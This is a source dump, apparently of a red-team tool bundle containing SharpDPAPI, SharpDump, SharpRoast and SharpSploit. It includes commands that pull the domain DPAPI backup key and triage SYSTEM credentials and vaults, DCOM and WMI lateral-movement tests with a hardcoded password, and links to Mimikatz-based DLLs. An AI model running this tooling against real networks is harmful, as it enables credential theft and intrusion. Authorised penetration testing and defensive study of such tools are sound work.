| EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Commands/Backupkey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | namespace SharpDPAPI.Commands 6 | { 7 | public class Backupkey : ICommand 8 | { 9 | public static string CommandName => "backupkey"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n"); 14 | 15 | string server = ""; 16 | string outFile = ""; 17 | 18 | if (arguments.ContainsKey("/server")) 19 | { 20 | server = arguments["/server"]; 21 | Console.WriteLine("\r\n[*] Using server : {0}", server); 22 | } 23 | else 24 | { 25 | server = Interop.GetDCName(); 26 | if (String.IsNullOrEmpty(server)) 27 | { 28 | return; 29 | } 30 | Console.WriteLine("\r\n[*] Using current domain controller : {0}", server); 31 | } 32 | 33 | if (arguments.ContainsKey("/file")) 34 | { 35 | // if we want the backup key piped to an output file 36 | outFile = arguments["/file"]; 37 | } 38 | 39 | Backup.GetBackupKey(server, outFile); 40 | } 41 | } 42 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Commands/ICommand.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpDPAPI.Commands 4 | { 5 | public interface ICommand 6 | { 7 | void Execute(Dictionary arguments); 8 | } 9 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Commands/Machinecredentials.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | namespace SharpDPAPI.Commands 6 | { 7 | public class Machinecredentials : ICommand 8 | { 9 | public static string CommandName => "machinecredentials"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Console.WriteLine("\r\n[*] Action: Machine DPAPI Credential Triage\r\n"); 14 | 15 | if (!Helpers.IsHighIntegrity()) 16 | { 17 | Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); 18 | } 19 | else 20 | { 21 | Dictionary mappings = Triage.TriageSystemMasterKeys(); 22 | 23 | Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); 24 | foreach (KeyValuePair kvp in mappings) 25 | { 26 | Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); 27 | } 28 | Console.WriteLine(); 29 | 30 | Triage.TriageSystemCreds(mappings); 31 | } 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Commands/Machinemasterkeys.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | namespace SharpDPAPI.Commands 6 | { 7 | public class Machinemasterkeys : ICommand 8 | { 9 | public static string CommandName => "machinemasterkeys"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Console.WriteLine("\r\n[*] Action: Machine DPAPI Masterkey File Triage\r\n"); 14 | 15 | Dictionary mappings = Triage.TriageSystemMasterKeys(false); 16 | 17 | if (mappings.Count == 0) 18 | { 19 | Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); 20 | } 21 | else 22 | { 23 | Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); 24 | foreach (KeyValuePair kvp in mappings) 25 | { 26 | Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); 27 | } 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Commands/Machinetriage.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | namespace SharpDPAPI.Commands 6 | { 7 | public class Machinetriage : ICommand 8 | { 9 | public static string CommandName => "machinetriage"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Console.WriteLine("\r\n[*] Action: Machine DPAPI Credential and Vault Triage\r\n"); 14 | arguments.Remove("triage"); 15 | 16 | Dictionary mappings = Triage.TriageSystemMasterKeys(); 17 | 18 | Triage.TriageSystemCreds(mappings); 19 | Triage.TriageSystemVaults(mappings); 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Commands/Machinevaults.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | namespace SharpDPAPI.Commands 6 | { 7 | public class Machinevaults : ICommand 8 | { 9 | public static string CommandName => "machinevaults"; 10 | 11 | public void Execute(Dictionary arguments) 12 | { 13 | Console.WriteLine("\r\n[*] Action: Machine DPAPI Vault Triage\r\n"); 14 | 15 | if (!Helpers.IsHighIntegrity()) 16 | { 17 | Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); 18 | } 19 | else 20 | { 21 | Dictionary mappings = Triage.TriageSystemMasterKeys(); 22 | 23 | Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); 24 | foreach (KeyValuePair kvp in mappings) 25 | { 26 | Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); 27 | } 28 | Console.WriteLine(); 29 | 30 | Triage.TriageSystemVaults(mappings); 31 | } 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Domain/ArgumentParser.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Diagnostics; 3 | 4 | namespace SharpDPAPI.Domain 5 | { 6 | public static class ArgumentParser 7 | { 8 | public static ArgumentParserResult Parse(IEnumerable args) 9 | { 10 | var arguments = new Dictionary(); 11 | try 12 | { 13 | foreach (var argument in args) 14 | { 15 | var idx = argument.IndexOf(':'); 16 | if (idx > 0) 17 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); 18 | else 19 | arguments[argument] = string.Empty; 20 | } 21 | 22 | return ArgumentParserResult.Success(arguments); 23 | } 24 | catch (System.Exception ex) 25 | { 26 | Debug.WriteLine(ex.Message); 27 | return ArgumentParserResult.Failure(); 28 | } 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Domain/ArgumentParserResult.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace SharpDPAPI.Domain 4 | { 5 | public class ArgumentParserResult 6 | { 7 | public bool ParsedOk { get; } 8 | public Dictionary Arguments { get; } 9 | 10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 11 | { 12 | ParsedOk = parsedOk; 13 | Arguments = arguments; 14 | } 15 | 16 | public static ArgumentParserResult Success(Dictionary arguments) 17 | => new ArgumentParserResult(true, arguments); 18 | 19 | public static ArgumentParserResult Failure() 20 | => new ArgumentParserResult(false, null); 21 | 22 | } 23 | } -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Domain/Version.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpDPAPI 4 | { 5 | public static class Version 6 | { 7 | public static string version = "1.5.0"; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Program.cs: -------------------------------------------------------------------------------- 1 | using SharpDPAPI.Domain; 2 | using System; 3 | 4 | namespace SharpDPAPI 5 | { 6 | class Program 7 | { 8 | static void Main(string[] args) 9 | { 10 | try 11 | { 12 | Info.Logo(); 13 | 14 | // try to parse the command line arguments, show usage on failure and then bail 15 | var parsed = ArgumentParser.Parse(args); 16 | if (parsed.ParsedOk == false) 17 | Info.ShowUsage(); 18 | else 19 | { 20 | // Try to execute the command using the arguments passed in 21 | 22 | var commandName = args.Length != 0 ? args[0] : ""; 23 | 24 | var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); 25 | 26 | // show the usage if no commands were found for the command name 27 | if (commandFound == false) 28 | Info.ShowUsage(); 29 | } 30 | } 31 | catch (Exception e) 32 | { 33 | Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); 34 | Console.WriteLine(e); 35 | } 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpDPAPI")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpDPAPI")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("5f026c27-f8e6-4052-b231-8451c6a73838")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpDPAPI/SharpDPAPI/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SharpDump/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | -------------------------------------------------------------------------------- /SharpDump/SharpDump.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpDump", "SharpDump\SharpDump.csproj", "{79C9BBA3-A0EA-431C-866C-77004802D8A0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {79C9BBA3-A0EA-431C-866C-77004802D8A0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {79C9BBA3-A0EA-431C-866C-77004802D8A0}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {79C9BBA3-A0EA-431C-866C-77004802D8A0}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {79C9BBA3-A0EA-431C-866C-77004802D8A0}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /SharpDump/SharpDump/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpDump")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpDump")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("79c9bba3-a0ea-431c-866c-77004802d8a0")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpRoast/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | -------------------------------------------------------------------------------- /SharpRoast/SharpRoast.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpRoast", "SharpRoast\SharpRoast.csproj", "{FD6BDF7A-FEF4-4B28-9027-5BF750F08048}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {FD6BDF7A-FEF4-4B28-9027-5BF750F08048}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {FD6BDF7A-FEF4-4B28-9027-5BF750F08048}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {FD6BDF7A-FEF4-4B28-9027-5BF750F08048}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {FD6BDF7A-FEF4-4B28-9027-5BF750F08048}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /SharpRoast/SharpRoast/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpRoast")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpRoast")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("fd6bdf7a-fef4-4b28-9027-5bf750f08048")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpSploit/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2018, Ryan Cobb (@cobbr_io) 2 | 3 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 4 | 5 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 6 | 7 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | 9 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 10 | 11 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /SharpSploit/SharpSploit.Tests/SharpSploit.Tests.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27130.2010 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSploit.Tests", "SharpSploit.Tests\SharpSploit.Tests.csproj", "{7760248F-9247-4206-BE42-A6952AA46DA2}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {7760248F-9247-4206-BE42-A6952AA46DA2}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {455193E0-615E-4004-8715-30FAAE74E430} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpSploit/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/DCOMTests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.VisualStudio.TestTools.UnitTesting; 6 | 7 | using SharpSploit.LateralMovement; 8 | 9 | namespace SharpSploit.Tests.LateralMovement 10 | { 11 | [TestClass] 12 | public class DCOMTests 13 | { 14 | [TestMethod] 15 | public void TestDCOMExecute() 16 | { 17 | Assert.IsTrue(DCOM.DCOMExecute("localhost", "calc.exe", "", "C:\\WINDOWS\\System32\\", DCOM.DCOMMethod.MMC20_Application)); 18 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 1); 19 | Assert.IsTrue(DCOM.DCOMExecute("localhost", "calc.exe", "", "C:\\WINDOWS\\System32\\", DCOM.DCOMMethod.ShellBrowserWindow)); 20 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 2); 21 | Assert.IsTrue(DCOM.DCOMExecute("localhost", "calc.exe", "", "C:\\WINDOWS\\System32\\", DCOM.DCOMMethod.ShellWindows)); 22 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 3); 23 | Assert.IsTrue(DCOM.DCOMExecute("localhost", "calc.exe", "", "C:\\WINDOWS\\System32\\", DCOM.DCOMMethod.ExcelDDE)); 24 | Assert.IsTrue(System.Diagnostics.Process.GetProcessesByName("Calculator").Length >= 4); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /SharpSploit/SharpSploit.Tests/SharpSploit.Tests/LateralMovement/WMITests.cs: -------------------------------------------------------------------------------- 1 | // Author: Ryan Cobb (@cobbr_io) 2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit) 3 | // License: BSD 3-Clause 4 | 5 | using Microsoft.VisualStudio.TestTools.UnitTesting; 6 | 7 | using SharpSploit.LateralMovement; 8 | 9 | namespace SharpSploit.Tests.LateralMovement 10 | { 11 | [TestClass] 12 | public class WMITests 13 | { 14 | [TestMethod] 15 | public void TestWMIExecute() 16 | { 17 | Assert.IsTrue(WMI.WMIExecute("win16", "powershell.exe", "DEV-COBBR\\TestAdmin", "Password123!")); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SharpSploit/SharpSploit.Tests/SharpSploit.Tests/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | [assembly: AssemblyTitle("SharpSploit.Framework.Tests")] 6 | [assembly: AssemblyDescription("")] 7 | [assembly: AssemblyConfiguration("")] 8 | [assembly: AssemblyCompany("")] 9 | [assembly: AssemblyProduct("SharpSploit.Framework.Tests")] 10 | [assembly: AssemblyCopyright("Copyright © 2018")] 11 | [assembly: AssemblyTrademark("")] 12 | [assembly: AssemblyCulture("")] 13 | 14 | [assembly: ComVisible(false)] 15 | 16 | [assembly: Guid("7760248f-9247-4206-be42-a6952aa46da2")] 17 | 18 | // [assembly: AssemblyVersion("1.0.*")] 19 | [assembly: AssemblyVersion("1.0.0.0")] 20 | [assembly: AssemblyFileVersion("1.0.0.0")] 21 | -------------------------------------------------------------------------------- /SharpSploit/SharpSploit.Tests/SharpSploit.Tests/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net35/System.DirectoryServices.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net35/System.DirectoryServices.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net35/System.IdentityModel.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net35/System.IdentityModel.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net35/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net35/System.Management.Automation.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net35/System.Management.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net35/System.Management.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net35/mscorlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net35/mscorlib.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net40/System.DirectoryServices.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net40/System.DirectoryServices.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net40/System.IdentityModel.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net40/System.IdentityModel.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net40/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net40/System.Management.Automation.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net40/System.Management.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net40/System.Management.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/References/net40/mscorlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/References/net40/mscorlib.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/Resources/powerkatz_x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/Resources/powerkatz_x64.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/Resources/powerkatz_x64.dll.comp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/Resources/powerkatz_x64.dll.comp -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/Resources/powerkatz_x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/Resources/powerkatz_x86.dll -------------------------------------------------------------------------------- /SharpSploit/SharpSploit/Resources/powerkatz_x86.dll.comp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploit/SharpSploit/Resources/powerkatz_x86.dll.comp -------------------------------------------------------------------------------- /SharpSploitConsole/CompiledBinaries/SharpSploitConsole_x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploitConsole/CompiledBinaries/SharpSploitConsole_x64.exe -------------------------------------------------------------------------------- /SharpSploitConsole/CompiledBinaries/SharpSploitConsole_x86.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploitConsole/CompiledBinaries/SharpSploitConsole_x86.exe -------------------------------------------------------------------------------- /SharpSploitConsole/SharpSploitConsole/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpSploitConsole/SharpSploitConsole/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SharpSploitConsole/SharpSploitConsole/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpSploitConsole")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpSploitConsole")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("3787435b-8352-4bd8-a1c6-e5a1b73921f4")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpSploitConsole/SharpSploitConsole/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /SharpSploitConsole/sharpsploitimg1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploitConsole/sharpsploitimg1.PNG -------------------------------------------------------------------------------- /SharpSploitConsole/sharpsploitimg2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSploitConsole/sharpsploitimg2.PNG -------------------------------------------------------------------------------- /SharpSql/.vs/SharpSql/v15/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lexus89/SharpPack/a85b05d62fb1c6867061c5de3f8a22532e7bae17/SharpSql/.vs/SharpSql/v15/.suo 